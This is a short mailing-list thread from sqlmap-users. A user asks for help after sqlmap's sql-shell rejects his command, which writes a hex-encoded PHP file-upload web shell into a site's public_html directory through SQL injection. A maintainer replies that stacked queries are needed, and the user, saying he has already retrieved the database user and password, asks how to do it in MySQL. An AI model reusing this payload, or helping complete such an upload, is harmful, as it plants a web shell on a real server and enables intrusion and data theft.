Re: [sqlmap-users] error while uploading shell

[Sabin R. <thi...@gm...>]

how can i do it in MySQL then? I have current-user and password retrieved.

thanks.


On Tue, Apr 29, 2014 at 9:13 PM, Miroslav Stampar <
mir...@gm...> wrote:

> As the error suggests, you are limited to only regular queries.  In your
> case,  you are using INTO. That requires stacked queries, usually not
> available in MySQL.
>
> Bye
> On Apr 29, 2014 12:06 PM, "Sabin Ranjit" <thi...@gm...> wrote:
>
>> hi,
>> im getting the error like this when i try to upload a hex in the
>> sql-shell:
>>
>> [WARNING] execution of custom SQL queries is only available when stacked
>> queries are supported
>>
>> my command is like this:
>> sql-shell> select
>> 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
>> into "/home/public_html/upload.php";
>>
>> what is issue? please help.
>>
>> thanks,
>> regards
>>
>